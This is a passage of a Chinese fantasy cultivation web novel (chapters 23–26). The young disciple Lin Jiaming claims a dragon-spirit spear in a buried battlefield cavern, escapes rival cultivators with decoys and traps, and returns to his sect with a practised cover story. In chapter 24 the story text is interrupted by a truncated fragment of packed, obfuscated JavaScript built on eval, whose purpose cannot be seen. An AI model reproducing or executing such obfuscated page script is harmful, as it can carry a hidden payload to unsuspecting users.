剑光斩在管道口边缘,碎石飞溅,却只斩下几块石头,林家铭的身影已然没入黑暗。 “混账!是那个揽月峰的小子!”陈风怒吼,他认出了那道身影的衣服。 “林家铭?!”楚云瞳孔骤缩,心中震惊无以复加。他竟然一直潜伏在侧?还知道这处隐秘通道?刚才那龙吟……与他有关? “管他是谁!追!下面的东西绝不能让他独吞!”烈焱更是暴跳如雷,他蓄势待发的合击被这突如其来的变故打断,又惊又怒,哪还顾得上和韩厉的约定,身化火光就要冲向管道口。 “吼!” 两尊傀儡却在这时回过神来,似乎被管道中涌出的煞气和龙吟刺激,变得更加狂暴,悍不畏死地拦在了众人面前,同时石室禁制也再次全面激活! “该死!”韩厉也被这变故气得不轻,但身为领队,他必须冷静,“先解决傀儡!清理禁制!那小子跑不了!下面煞气冲天,绝非善地,他孤身一人下去是找死!” 话虽如此,他心中却也惊疑不定。林家铭的表现太过出乎意料,那隐秘通道,那诡异的龙吟,还有他刚才爆发出的、远超炼气五层的身法和隐匿能力…… 楚云目光死死盯着那漆黑的管道口,眼神复杂难明。他之前就觉得林家铭身上秘密颇多,却没想到,此人竟然能在这等绝境中找到一线生机,甚至可能……抢先一步触及洞府最深的秘密! “林家铭……你到底是什么人?”楚云心中第一次对这个小师弟产生了真正的、难以捉摸的忌惮,以及一丝被彻底愚弄的怒意。 而此刻,坠入管道的林家铭,正经历着一场前所未有的冲击。 管道并非垂直,而是倾斜向下,内壁光滑异常,他如同坐滑梯般急速下坠。周围并非一片漆黑,管道壁上偶尔闪过一些暗淡的、像是干涸血迹般的 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同时,怀里的府枢令滚烫无比,与他手中的“黑水石”一起,散发出温和的调和之力,略微缓解煞气冲击的狂暴,并为他指引着方向——管道的最深处,那煞气与龙威的源头! 下坠持续了约莫十息,前方出现微弱的光亮。 “噗通!” 林家铭感觉自己摔进了一片粘稠、冰冷、散发着浓烈铁锈和血腥味的液体中! 他立刻闭气,运转灵力护体,从液体中挣扎着站起。 环顾四周,他发现自己身处一个巨大、空旷、仿佛天然形成的巨大地下洞窟之中。 洞窟顶部垂下无数暗红色的钟乳石,滴滴答答落下血红色的液体,汇入他脚下这片不知多深的暗红色血池。血池并非真正的血液,而是古战场煞气、地火阴煞髓能量、以及无数破碎兵魂战意历经万年凝结而成的煞气血精! 而洞窟的中央,血池环绕之处,矗立着一座完全由各种残破兵器、铠甲、骨骸堆积而成的、高达十余丈的恐怖“小山”——葬兵冢! 冢上,无数断裂的刀剑、破碎的盾牌、扭曲的长矛、锈蚀的战甲,乃至大大小小的妖兽和人形骨骸,杂乱地堆叠在一起,散发出冲天煞气和令人心悸的死寂。一些兵器上,还残留着微弱不甘的魂火闪烁。 但最引人注目的,是葬兵冢的顶端。 那里,插着一杆枪。 一杆通体玄黑、仿佛能吸收所有光线的长枪。 枪身笔直,隐约可见暗金色的龙纹在黑色的底色下游走,时隐时现。枪尖并非寻常的棱形或柳叶形,而是一种更加古朴、带着细微弧度的三棱破甲锥造型,刃口处仿佛有凝固的暗红血光。枪缨是某种不知名的暗红色兽毛,无风自动。 长枪就这么静静地插在由无数兵器残骸堆成的冢顶,仿佛它是这座死亡之山的王。磅礴的煞气与一股不屈的龙威以它为中心,如同波纹般一圈圈扩散开来,与整个洞窟的血池、葬兵冢融为一体。 刚才那震慑心神的龙吟煞吼,正是源自于此! 林家铭站在冰冷的血精池中,仰望着那杆长枪,体内的混沌气旋旋转得几乎要脱离掌控,传来无比强烈的渴望与亲近。 府枢令在他手中灼热得烫手,“黑水石”也微微震颤。 他明白了。 这就是洞府最深处,古战场碎片的核心,煞气与龙威的源头,也是府枢令真正渴望引导他到达的地方。 那杆枪,在呼唤他。 或者说,在呼唤他体内的混沌灵力。 “玄渊……”一个名字自然而然地浮现在他心头。 他深吸一口气,压下翻腾的气血和激动的心绪,迈开脚步,趟着粘稠冰冷的血精,朝着那座死亡之山,一步步走去。 每走一步,周围的煞气便浓郁一分,无形的压力加重一分,耳边的战场幻听清晰一分。 但他步伐稳定,眼神坚定。 人不犯我,我不犯人。 但这杆枪,似乎从一开始,就注定应该是他的。 因为它和他一样,都带着一种不容于世的、混沌的、却又无比强大的本质。 现在,他来了。 来取走他的枪。 24. 认主玄渊 第二十四章认主玄渊 血精池冰冷刺骨,粘稠如胶。 林家铭每踏出一步,都像是踩进泥沼,刺骨的煞气顺着毛孔往身体里钻。耳边金铁交鸣、厮杀呐喊的幻听越来越响,仿佛无数战死的兵魂在他身边咆哮,试图将他拖入万劫不复的杀意深渊。 但混沌气旋转得更疯了。 那些足以让筑基修士都头疼的精纯煞气,撞进林家铭体内,就如同溪流汇入大海,被混沌气旋毫不客气地撕碎、吞噬、转化。丹田里灰蒙蒙的气团以肉眼可见的速度膨胀,炼气五层中期的瓶颈在一次次冲刷下摇摇欲坠。 “啧,这哪是垃圾场,这简直是自助餐厅。”林家铭龇牙咧嘴,煞气冲刷经脉的滋味并不好受,但修为蹭蹭上涨的快感足以抵消痛苦。他甚至有点担心自己吃撑了——混沌灵根虽然不挑食,但消化太快会不会根基不稳? 不过眼下不是考虑这个的时候。 他仰头看向冢顶那杆玄黑长枪。 越靠近,枪身上游走的暗金龙纹就越清晰。那些龙纹并非死物,而是如同活物般在枪身上缓缓游动,时而汇聚成完整的龙形,时而又散成破碎的云纹。枪缨无风自动,每一次飘拂都带起肉眼可见的煞气涟漪。 “玄渊……”林家铭又念了一遍这个名字,心头莫名一颤。 府枢令在怀里烫得像是要烧起来,“黑水石”更是嗡嗡震颤,两者之间似乎产生了某种共鸣。他福至心灵,一手握住府枢令,一手握住黑水石,将混沌灵力同时注入两件物品。 “嗡——” 低沉的能量波动从两件物品上扩散开来。 下一瞬,葬兵冢顶上,玄渊枪猛然一震! “吼——!!!” 比之前在管道中听到的更加清晰、更加狂暴、更加痛苦的龙吟煞吼,从枪身上爆发出来!声浪裹挟着实质般的煞气冲击波,以玄渊枪为中心向四周炸开! “噗!” 林家铭首当其冲,一口血喷了出来,耳鼻都渗出血丝。但他咬紧牙关,双脚死死钉在血池中,非但没有后退,反而顶着冲击波又向前踏出一步! 混沌气旋转速飙升到极限,疯狂吞噬着冲击波中蕴含的煞气、龙威和暴戾战意。 “想要我?还是想杀我?”林家铭抹了把嘴角的血,盯着那杆震颤不休的长枪,眼神发狠,“管你是什么,今天小爷来都来了,要么你认我为主,要么我把你拆了当废铁卖!” 这话说得豪横,但他心里其实没底。 玄渊枪散发的威压太强了,强到他现在这点修为,在枪面前简直如同蝼蚁。要不是混沌灵力天生克制一切能量属性,要不是府枢令和黑水石起了缓冲作用,刚才那一吼就足以震碎他的神魂。 但他没得选。 上面韩厉、烈焱那些人迟早会杀下来。他必须抢先一步搞定这杆枪,然后想办法溜。 “嗡——” 玄渊枪的震颤停了下来。 枪身上游走的暗金龙纹突然全部亮起,金光与玄黑的枪身形成鲜明对比。紧接着,那些龙纹如同活过来一般,竟然从枪身上脱离,在半空中凝聚成一条虚幻的、残缺的暗金色龙影! 龙影只有三丈多长,通体半透明,龙身多处破损,龙角断裂一根,龙尾少了一截,就连龙目都只剩下一只——另一只眼眶空荡荡的,流淌着黑色的煞气。但它身上散发出的那股亘古、苍凉、霸道、不屈的龙威,却真实不虚! 龙影悬浮在玄渊枪上方,仅剩的那只龙目冷冷地俯视着血池中的林家铭。 林家铭头皮发麻。 “龙魂……残念……”他立刻明白了。 这杆玄渊枪,不仅材料特殊,炼制时恐怕还封印了一条真龙的魂魄!而且是条战死的、怨念冲天的真龙!万年来,龙魂被煞气侵染,与葬兵冢无数兵魂战意纠缠,早已变得狂暴混乱,只保留了最原始的本能和执念。 现在,这条龙魂残念正在审视他。 林家铭深吸一口气,强迫自己冷静下来。 硬刚肯定不行。就算只是残念,这也是真龙级别的存在,吹口气都能灭他一百次。 谈判?跟一条疯了万年的龙魂讲道理? 唯一的机会,就是混沌灵力。 从进入洞窟开始,玄渊枪和龙魂残念对他的混沌灵力就表现出明显的“兴趣”——或者说,是混沌灵力对它们有天然的吸引力。 “你想要这个?”林家铭抬手,掌心跳跃起一团灰蒙蒙的混沌灵力。 混沌灵力一出,周围的煞气都微微扭曲,像是被无形的手拨开。 半空中的龙魂残念猛地一颤! 仅剩的龙目中,暴戾混乱的情绪中,闪过一丝极其微弱的清明。 它低下了头,龙须飘动,缓缓靠近那团混沌灵力。 林家铭心跳如擂鼓,但手很稳,任由龙魂靠近。 龙魂残念围着混沌灵力绕了一圈,然后试探性地“吸”了一口。 一丝混沌灵力被它吸入体内。 下一瞬—— “吼!!!” 龙魂残念发出一声痛苦与舒畅交织的咆哮!它残缺的身体猛地绷直,身上那些破损处竟然以肉眼可见的速度微微愈合了一丝!虽然只是微不足道的一丝,但对于被煞气折磨了万年的龙魂来说,这简直是久旱逢甘霖! 龙目中混乱的暴戾消退了一点点,多了一丝渴望。 它看向林家铭的眼神变了。 不再是纯粹的审视和敌意,而是混杂着渴望、疑惑、警惕,还有一丝……依赖? “有戏!”林家铭心中一振,但脸上不动声色。 他没有立刻加大灵力输出,而是收回了手掌,那团混沌灵力也随之消散。 龙魂残念顿时焦躁起来,在玄渊枪上方盘旋,发出低沉的呜咽声,像是讨食的幼兽。 “想要?可以。”林家铭指了指玄渊枪,“让我上去,靠近它。” 龙魂残念犹豫了。 它绕着玄渊枪飞了几圈,似乎在做激烈的思想斗争。万年来,它和玄渊枪早已融为一体,枪就是它的躯壳,它的执念。让一个陌生的人类靠近枪,对它来说是极大的冒险。 但混沌灵力的诱惑太大了。 刚才那一丝混沌灵力,不仅修复了它万分之一不到的残魂,更重要的是,混沌灵力中蕴含的“转化一切”的特性,似乎能中和它体内积郁万年的煞气和怨念! 如果长期有这种灵力滋养,它甚至有可能慢慢恢复清醒,从这永恒的痛苦中解脱! 这个诱惑,它无法拒绝。 龙魂残念最终低吼一声,缓缓让开了通向冢顶的路。 林家铭松了口气,立刻趟着血池向葬兵冢走去。 这一次,周围的煞气和压力明显减弱了,显然是龙魂残念在控制。但耳边的兵魂嘶吼反而更清晰了——那些葬身在此的兵魂战意,似乎对龙魂“放水”的行为极为不满。 林家铭不管这些,手脚并用,爬上由残兵断刃堆成的葬兵冢。 冢身陡峭,许多兵器残骸锋利异常,稍有不慎就会被割伤。好在他身法灵活,又有混沌灵力护体,一路有惊无险。 终于,他爬到了冢顶。 玄渊枪就插在正中央,离他不到三尺。 近距离看,这杆枪更加震撼。 枪身玄黑,非金非木,触手冰凉,却又隐隐传来血脉搏动般的温热感。暗金龙纹在枪皮下缓缓游走,仿佛有生命。三棱破甲锥的枪尖寒光内敛,刃口处凝固的暗红血光让人心悸。暗红色的枪缨无风自动,每一根兽毛都散发着淡淡的威压。 整杆枪长约七尺,立在那里,就有一股“刺破苍穹”的锋锐与“镇压万古”的厚重交织在一起。 绝世凶兵。 林家铭心中闪过这四个字。 他伸出手,缓缓握向枪身。 在指尖触碰到枪身的瞬间—— “轰!!!” 庞大的信息流如同决堤洪水,疯狂冲进他的识海! 破碎的画面在他眼前闪现: 一条遮天蔽日的暗金色真龙,在苍穹之上与无数黑影搏杀,龙血洒落如雨…… 一名身穿玄黑战甲、看不清面容的伟岸男子,手持这杆长枪,枪出如龙,刺穿一头山岳般巨兽的头颅…… 古战场上,尸山血海,玄渊枪贯穿一名背生双翼的魔将胸膛,枪身龙纹亮如烈日…… 最终,那伟岸男子力竭战死,玄渊枪插在他的尸身旁,龙魂悲鸣,枪身染血,与无数兵魂一同被埋葬在此,历经万年煞气浸染…… 这些画面一闪而逝,但其中蕴含的悲壮、惨烈、不屈战意,却深深烙印在林家铭心神中。 与此同时,一股冰冷、暴戾、充满杀意的意志,顺着枪身冲进他的身体,试图侵占他的心神! 是龙魂残念中积郁万年的煞气和怨念! 它虽然渴望混沌灵力,但本能中残存的凶性和执念,依旧试图反噬这个想要掌控它的人类! “滚出去!” 林家铭暴喝一声,眼中闪过厉色。 他早有准备! 丹田内,混沌气旋轰然炸开,化为滔天灰潮,迎向那股入侵的煞气怨念!同时,他全力运转“混沌大杂烩修炼法”,将混沌灵力的“吞噬转化”特性催发到极致! “给我吞!” 灰蒙蒙的混沌灵力如同磨盘,将冲进来的煞气怨念一层层碾碎、分解、转化! 过程极其痛苦。 林家铭感觉自己就像被扔进了绞肉机,每一寸血肉、每一条经脉、每一丝神魂都在被撕扯、碾压。耳边的兵魂嘶吼变成了实质般的音波攻击,眼前的画面开始扭曲,无数残破的兵刃虚影在他识海中乱窜。 但他死死咬着牙,双手紧握枪身,就是不松手。 “小爷我……连师父的垃圾都能当宝贝捡回来练功……还收拾不了你这一杆破枪?!” 他发狠了。 混沌气旋旋转得几乎要爆开,丹田传来撕裂般的剧痛,但他不管不顾,疯狂吞噬煞气。 一丝丝精纯的混沌灵力在碾压煞气的过程中产生,又反哺回他的身体,修复损伤,壮大自身。 炼气五层中期的瓶颈,“咔嚓”一声,破了。 修为瞬间攀升到炼气五层后期,并且还在涨! 半空中,龙魂残念发出痛苦的嘶鸣。 它的残魂与煞气怨念早已纠缠不清,林家铭在吞噬煞气怨念的同时,不可避免也波及到了它的魂体。但混沌灵力又同时在修复它的残魂,这种撕裂与修复并存的痛苦,让它几乎疯狂。 时间一分一秒过去。 林家铭浑身浴血——那是他自己毛孔被煞气和灵力冲击渗出的血。但他握着枪的手越来越稳,眼神越来越亮。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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洞窟上方,传来剧烈的灵力波动和战斗轰鸣! 韩厉他们快杀下来了! 林家铭立刻收起玄渊枪——心念一动,玄渊枪便化作一道黑光,没入他丹田,悬浮在混沌气旋旁,缓慢吞吐着混沌灵力温养自身。 “得赶紧捞好处跑路!” 他目光扫向葬兵冢和血池。 葬兵冢上除了玄渊枪,还有无数残兵断刃,其中不乏品阶不低的材料。血池中的煞气血精也是好东西,可以用来淬炼肉身或者炼制邪道法宝——虽然他不用,但可以卖啊! 但时间紧迫,他来不及细挑。 “府枢令,开!” 林家铭催动府枢令,同时将混沌灵力注入。 府枢令光芒大盛,一道无形的波动扩散开来,笼罩整个洞窟。 下一瞬,葬兵冢微微震颤,冢顶处,一块巴掌大小、暗红如血的晶石缓缓升起——这是葬兵冢万年煞气凝结的核心,“兵煞血晶”!价值连城! 同时,血池底部,三颗拳头大小、漆黑如墨、却隐隐有龙纹浮现的“地火阴煞髓”核心,也被府枢令的力量牵引出来! “收!” 林家铭眼疾手快,将兵煞血晶和三颗龙纹煞髓收进储物袋——他特意换了个品质较好的储物袋,空间够大。 做完这些,他立刻看向洞窟四周,寻找退路。 府枢令的感应中,洞窟侧壁有一条隐蔽的裂缝,通往地脉深处,应该是当年建造者预留的逃生通道,或者地火流动的路径。 “就你了!” 林家铭毫不犹豫,冲向那条裂缝。 在钻进裂缝前,他回头看了一眼葬兵冢和血池,嘴角勾起一抹坏笑。 “来都来了,不留点礼物,怎么对得起上面那些‘师兄’的照顾?” 他从储物袋里掏出之前在灵萃室捡到的几瓶“烈阳爆炎丹”——这玩意儿触地即炸,威力堪比筑基初期一击。 又拿出几张劣质符箓——灰集买的便宜货,效果不大,但动静不小。 他将爆炎丹和符箓布置在葬兵冢周围和血池边缘,用细线连成触发机关。只要有人触动,立刻连环爆炸,虽然伤不了筑基修士,但足够制造混乱,掩盖他逃跑的痕迹。 布置完毕,林家铭满意地点点头,一头钻进了裂缝。 裂缝狭窄曲折,但越往里走,温度越高,隐隐有地火流动的声音传来。 “顺着地火走,应该能找到出口……” 他加快速度,身影消失在黑暗深处。 而洞窟上方,战斗的轰鸣越来越近。 石室内的傀儡和禁制,终于被韩厉、烈焱等人联手攻破。 两道狼狈的身影,率先冲进了葬兵冢洞窟。 正是楚云和烈焱。 两人浑身是伤,气息紊乱,但眼中都闪烁着贪婪和急切。 然而,当他们看到空荡荡的葬兵冢、明显变淡的血池、以及那几处精心布置的“小礼物”时,脸色瞬间铁青。 “林家铭——!!!” 烈焱的咆哮,在洞窟中久久回荡。 而此时,林家铭已经在地火裂缝中钻了百丈远。 他听着身后隐约传来的爆炸声和怒吼声,咧嘴一笑。 “叫什么叫,小爷我凭本事捡的垃圾,有意见?” 他摸了摸丹田位置,那里,玄渊枪正在混沌气旋旁安静悬浮。 “这一趟,值了。” 林家铭加快脚步,向着地火流动的方向,消失在炽热的黑暗中。 25. 地火烧烤与甩锅艺术 第二十五章地火烧烤与甩锅艺术 地火裂缝里热得跟桑拿房似的。 林家铭猫着腰在狭窄的通道里钻,汗水刚冒出来就被蒸发,衣服贴在身上又湿又黏。周围的岩壁泛着暗红色的光,时不时有岩浆从缝隙里滴下来,落在石头上“滋啦”一声冒白烟。 “这地方比重庆火锅还带劲。”林家铭抹了把脸上的汗,从储物袋里掏出个水葫芦灌了一口——水是之前在灵萃室顺的灵泉水,清甜解渴还带点灵气。 他一边走一边盘点收获。 玄渊枪在丹田里待得挺安生,混沌气旋绕着它转,时不时分一缕灰蒙蒙的灵力过去。枪身上的龙纹偶尔亮一下,像是在打饱嗝。 兵煞血晶和龙纹煞髓单独装在一个玉盒里,这俩玩意儿煞气太重,跟其他东西放一起容易污染。林家铭掂了掂玉盒,心里美滋滋——这玩意儿要是拿去灰集,能换多少灵石? 至于其他零零碎碎的材料,之前在灵萃室和葬兵冢顺手捞的,加起来也值不少钱。 “这一趟血赚。”林家铭咧嘴笑,“就是得罪的人有点多。” 韩厉那帮青岚宗的还好说,毕竟同门,他回去随便编个理由——比如“我被煞气冲昏头了不小心掉进裂缝然后莫名其妙捡到点东西”之类的,糊弄过去问题不大。 烈焱那帮离火宗的才是麻烦。那家伙一看就是睚眦必报的主儿,这次被截胡,指不定怎么恨他呢。 “管他呢,兵来将挡水来土掩。”林家铭耸耸肩,“反正小爷我现在有枪了,实在不行……” 他摸了摸丹田位置,眼神闪过一抹狠色。 人不犯我我不犯人。 但要是有人非要找死,他不介意用玄渊枪给对方捅个透心凉。 前方通道越来越宽,温度也越来越高。 转过一个弯,眼前豁然开朗。 一个巨大的地下熔岩湖出现在面前。湖面暗红,岩浆翻滚,热浪扑面而来。湖中央有根石柱孤零零立着,石柱顶端长着一丛火红色的晶簇,每一颗晶石都像凝固的火焰,散发着精纯的火灵力。 “地火晶芯?”林家铭眼睛一亮,“好东西啊!” 这玩意儿是炼制火系法宝的上等材料,也能直接吸收提升火灵根修为。虽然他用不上——混沌灵根啥属性都能变——但可以卖钱啊!这么大一丛,少说值几百中品灵石! 但问题来了。 熔岩湖宽约十几丈,他不会飞。湖面温度高得吓人,掉下去立马变骨灰。石柱离岸边七八丈,跳不过去。 “啧,这就尴尬了。”林家铭摸着下巴,围着湖边转悠。 他试了试从储物袋里掏绳子——没有。 试了试用符箓搭桥——火系符箓在这里威力会增强,但控制不好容易炸。 试了试用灵力凝聚踏板——炼气期灵力外放距离有限,撑不到石柱。 “难不成要眼睁睁看着钱在眼前飞走?”林家铭很不甘心。 他盯着那丛地火晶芯,脑子里飞快转着各种骚操作。 用爆炎丹炸岩浆?不行,容易引发喷发。 用冰系符箓冻出一条路?不行,温度太高,符箓刚拿出来估计就化了。 用…… 等等。 林家铭突然想到什么,眼睛一亮。 他从储物袋里掏出之前在葬兵冢捡的几件残破兵器——都是些断剑残刀,材料还行,但灵性已失,值不了几个钱。 又掏出几块从灵萃室顺的“寒铁精”——这玩意儿性寒,耐高温。 然后蹲在地上,开始捣鼓。 半炷香后。 一个简陋的、看起来摇摇欲坠的“投石器”组装完成。主体是几根妖兽骨头(也是葬兵冢捡的),动力是几张劣质风系符箓(灰集买的),发射兜是用一件破损的法袍(灵萃室的)缝的。 林家铭把寒铁精绑在一截断剑上,做成钩爪。 “能不能成,就看这一下了。” 他深吸一口气,把钩爪放进投石器的发射兜,调整角度,对准石柱顶端的地火晶簇根部。 然后激活风系符箓。 “嗖——!” 钩爪带着寒铁精飞了出去! 准头还行,但力度不够,飞到一半就开始下坠。 林家铭早有准备,立刻催动混沌灵力,模拟火属性,隔空注入钩爪! “嗡!” 钩爪上的寒铁精亮起红光,被火灵力一推,速度陡增,划过一道弧线,“咔”一声勾住了石柱顶端! “成了!”林家铭兴奋地挥拳。 他抓紧连着钩爪的绳索——也是用法袍撕成条编的——用力一拉! “咔嚓!” 地火晶簇从根部断裂,被钩爪带着飞了回来! 林家铭眼疾手快,掏出一个特制的玉盒(灵萃室顺的,专门装火系材料),“啪”一声接住晶簇,盖紧盖子。 整套动作行云流水,前后不到三息。 “搞定。”他把玉盒收进储物袋,拍了拍手上的灰。 再看那投石器,已经因为材料承受不住高温而开始融化。钩爪和绳索也烧得差不多了。 林家铭也不心疼,本来就是一次性工具。 他正准备找路离开,突然耳朵一动。 熔岩湖另一侧的通道里,传来隐约的说话声和脚步声。 “快!刚才的灵力波动就是从这里传来的!” “肯定是那小子!追!” “这次绝不能让他跑了!” 是韩厉和烈焱的人!他们居然这么快就找到地火裂缝了?! 林家铭脸色一变,立刻扫视四周。 熔岩湖周围空荡荡的,没地方躲。唯一的通道就是刚才来的那条,但那边肯定也有人堵着。 “麻烦了。”他皱眉。 硬刚肯定不行,对方人多,还有筑基期的韩厉。 跑?往哪跑? 林家铭的目光落在了沸腾的熔岩湖上。 一个疯狂的念头冒了出来。 “妈的,拼了!” 他毫不犹豫,从储物袋里掏出最后三颗“烈阳爆炎丹”,又掏出一把之前在灵萃室捡的“寒冰符”——虽然品阶不高,但数量够多。 然后,他做了个让后面追来的人目瞪口呆的举动。 “噗通!” 林家铭纵身一跃,跳进了熔岩湖! “他疯了?!”刚刚冲进熔岩湖区域的楚云瞳孔骤缩。 “自杀?!”烈焱也愣住了。 但下一秒—— “轰!轰!轰!” 三颗烈阳爆炎丹在熔岩湖中炸开!炽热的岩浆被炸得四处飞溅! 与此同时,数十张寒冰符被激活,恐怖的寒气瞬间在熔岩湖表面凝结出一层厚厚的冰壳! 冰与火碰撞! “嗤——!!!” 白雾蒸腾,弥漫整个洞窟!能见度瞬间降到最低! “小心!他在制造混乱!”韩厉厉喝,撑起灵力护罩挡住飞溅的岩浆和冰渣。 所有人都被这突如其来的爆炸和白雾搞得手忙脚乱。 而此刻,林家铭在干嘛? 他根本没掉进熔岩湖。 在跳下去的瞬间,他就把玄渊枪掏了出来,枪尖狠狠插进岩壁,整个人挂在湖面上方。爆炸和冰雾完美掩盖了他的动作。 等白雾弥漫开来,他立刻顺着岩壁往上爬,爬到了洞窟顶部一个不起眼的凹陷处,屏息凝神,运转《万象匿形诀》。 下面一片混乱。 “人呢?死了吗?” “熔岩湖里有东西浮上来了!” 众人定睛看去,只见几件烧焦的衣服碎片和半个融化的储物袋浮在冰壳上——那是林家铭提前准备好的“替身道具”,衣服是他换下来的旧衣服,储物袋是之前在灰集买的劣质货,里面塞了几块石头。 “他……他被炸死了?掉进岩浆融化了?”有人不确定地说。 “活要见人死要见尸!搜!”烈焱脸色铁青,他不信那小子这么容易死。 韩厉皱眉看着熔岩湖,又看了看四周,突然眼神一凝 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他转身,对着青岚宗众人:“收拾一下,准备撤离。洞府核心区域我们已经探查完毕,收获……尚可。回去如实上报即可。” 这话说得滴水不漏。 既承认了林家铭是青岚宗的人(甩锅给宗门),又强调了主要任务(给自己找台阶下),还暗示收获不错(安抚众人情绪)。 楚云沉默不语,只是深深看了一眼林家铭消失的裂缝,眼神复杂。 陈风愤愤不平,但韩厉发了话,他也不敢违抗。 离火宗那边,烈焱气得牙痒痒,但韩厉说得对,再追下去确实风险太大。而且青岚宗人多,真撕破脸他们也占不到便宜。 “好,好得很!”烈焱咬牙切齿,“韩厉,这次的事我记下了!咱们五宗小会上见!” 说完,他带着离火宗的人怒气冲冲地走了。 韩厉叹了口气,揉了揉太阳穴。 “韩师兄,林家铭他……”苏晴欲言又止。 “回去再说。”韩厉摆摆手,“先撤。” 一行人沿着来路返回。 而此刻,林家铭已经在另一条地火裂缝里钻了老远。 确认后面没人追来,他才松了口气,找了个相对安全的凹陷处坐下休息。 “呼……刺激。”他灌了口灵泉水,擦了擦汗。 这次虽然险象环生,但收获巨大。不但得了玄渊枪,还捞了一堆材料,修为也涨到了炼气五层后期。 “该回去了。”林家铭琢磨着,“回去怎么说呢……” 他眼珠转了转,一个完美的甩锅计划在脑子里成型。 首先,得装可怜。就说自己不小心掉进裂缝,被煞气冲昏头,迷迷糊糊中捡到点东西,好不容易才逃出来。 其次,得主动上交部分“收获”。比如那些不太值钱但看起来像那么回事的材料,堵住上面的嘴。 再次,得把水搅浑。暗示离火宗的人也捞了不少好处,甚至可能拿了大头。 最后,搬出师父。凌霄真君虽然不靠谱,但名头够响,一般人不敢轻易动他的徒弟。 “完美。”林家铭打了个响指。 他从储物袋里挑挑拣拣,选了几件品相一般但还算稀有的材料,单独放在一个储物袋里——这是准备上交的。 又挑了几件值钱的但不起眼的,塞进怀里——这是自己留的。 玄渊枪、兵煞血晶、龙纹煞髓、地火晶芯这些核心宝贝,当然贴身藏好。 整理完毕,林家铭站起身,拍了拍身上的灰。 “走了,回宗门领功去——虽然大概率是功过相抵。” 他沿着裂缝继续走,嘴里哼着不成调的小曲: “我是一个粉刷匠,粉刷本领强~~” “刷完东墙刷西墙,刷出一个新花样~~” 歌声在地火裂缝里回荡,渐渐远去。 26. 甩锅是一门艺术 七天后,万瘴谷外围。 林家铭从一条不起眼的地缝里钻出来时,整个人看起来像是刚从煤窑里捞出来的难民。 衣服破破烂烂,沾满黑灰和不明粘液。头发乱得跟鸟窝似的,脸上东一道西一道都是灰。左臂还“恰到好处”地缠着绷带,上面渗着暗红色的“血”——其实是他在路上杀的一只低阶妖兽的血,抹上去还挺逼真。 修为嘛,被他用《万象匿形诀》硬生生压回了炼气五层中期——比进去时高一个小境界,既显示自己“有所收获”,又不至于太扎眼。 “呼……重见天日的感觉真好。”他眯着眼睛看了看久违的阳光,深吸一口不算清新但至少没硫磺味的空气。 然后他掐指一算。 “这个时间点,韩厉他们应该已经回宗门汇报过了。该我登场表演了。” 他慢悠悠地朝青岚宗在万瘴谷外围设立的临时营地走去。 还没走到营地门口,就被两个值守的外门弟子拦住了。 “站住!你……你是林家铭师弟?!”其中一个弟子瞪大眼睛,认出了这张虽然脏但依旧帅得过分脸。 “正是。”林家铭有气无力地点点头,声音沙哑,“劳烦通报一下韩师兄……就说揽月峰林家铭,侥幸生还归来。” 两个弟子对视一眼,其中一个立刻转身往营地内跑去。 不多时,一群人呼啦啦从营地涌了出来。 为首的是韩厉,身后跟着楚云、苏晴、陈风等一干洞府任务的参与者。钱富贵也在,看到他没事明显松了口气。 所有人的目光都聚焦在林家铭身上,眼神各异——震惊、疑惑、审视、愤怒、好奇…… “林师弟,你还活着?”韩厉上前一步,语气复杂。 “托韩师兄的福,差点就交代在里面了。”林家铭苦笑着咳嗽两声,演技全开,“那地火裂缝里太凶险了,我掉进去之后被煞气冲昏了头,迷迷糊糊乱闯,好几次差点掉进岩浆……” 他边说边从怀里掏出一个储物袋,双手奉上。 “这是弟子在迷途中偶然拾获的一些材料,不敢私藏,特上交宗门。” 韩厉接过储物袋,神识一扫。 里面装着三件品相尚可但不算顶级的矿石,两株年份一般的灵草,还有几块残破的兵器碎片。总价值大概值一两百下品灵石——对炼气期弟子来说算是一笔横财,但对整个洞府探索来说,这点东西连零头都算不上。 韩厉眉头微皱:“就这些?” “就这些了。”林家铭一脸无辜,“弟子修为低微,能捡条命回来已是万幸。对了韩师兄,离火宗那边……没为难你们吧?我在裂缝里隐约听到他们好像也捞了不少好处,还在为分赃不均吵架来着……” 这话说得巧妙。 先示弱,表明自己“修为低微所以收获有限”。 再转移焦点,暗示离火宗拿了大头。 最后留下想象空间——“分赃不均”四个字,足够让人脑补出一场大戏。 果然,陈风立刻接话:“我就说!烈焱那厮走的时候脸色那么难看,肯定是心虚!” 楚云没说话,只是盯着林家铭的眼睛,试图从中找出破绽。 但林家铭眼神清澈中带着劫后余生的疲惫,演技浑然天成。 “林师弟能平安归来就好。”苏晴柔声道,“先回营地休息吧,你伤势需要处理。” “多谢苏师姐关心。”林家铭感激地点头,然后又看向韩厉,小心翼翼地问,“韩师兄,这次任务……弟子擅自脱离队伍,又没什么大收获,不会受罚吧?” 韩厉沉吟片刻。 按规矩,擅自行动确实该罚。但林家铭上交了材料,态度诚恳,而且确实“修为低微、情有可原”。更重要的是,他是凌霄真君的徒弟——那位爷护短是出了名的。 “此事我会如实上报,由执事堂定夺。”韩厉最终道,“你先回去养伤,等候通知。” “是,多谢韩师兄。”林家铭松了口气的样子,然后在钱富贵的搀扶下,一瘸一拐地往营地走去。 背后,众人议论纷纷。 “林家铭运气真不错,掉进地火裂缝居然能活着出来。” “收获少了点,但命保住就不错了。” “你说离火宗到底拿了多少好处?” “谁知道呢,反正咱们这次也不算白跑,灵萃室那些丹药材料就值了……” 楚云看着林家铭的背影,突然开口:“韩师兄,我想单独跟林师弟说几句话。” 韩厉看了他一眼,点头:“去吧。” 楚云快步追上林家铭和钱富贵。 “钱师弟,我想单独和林师弟聊聊。”楚云语气平淡但不容置疑。 钱富贵看了看林家铭,又看了看楚云,识趣地说:“那林师兄我先去帮你收拾住处。” 等钱富贵走远,楚云设下一个简单的隔音结界。 “林师弟,明人不说暗话。”楚云盯着林家铭的眼睛,“你在洞府里,到底做了什么?” 林家铭眨眨眼,突然咧嘴一笑:“楚师兄,你这么关心我,不会是……暗恋我吧?” 楚云:“……” 他脸上的表情出现了一瞬间的空白,随即额头青筋跳了跳。 “林师弟,请严肃一点。”楚云的语气冷了下来。 “我很严肃啊。”林家铭一脸无辜,“楚师兄你看,咱们认识时间不长,你就这么关注我的一举一动。洞府里我掉进裂缝你第一时间发现,现在我刚回来你又单独找我谈心。这要不是暗恋,那是什么?难道是对我有非分之想?” 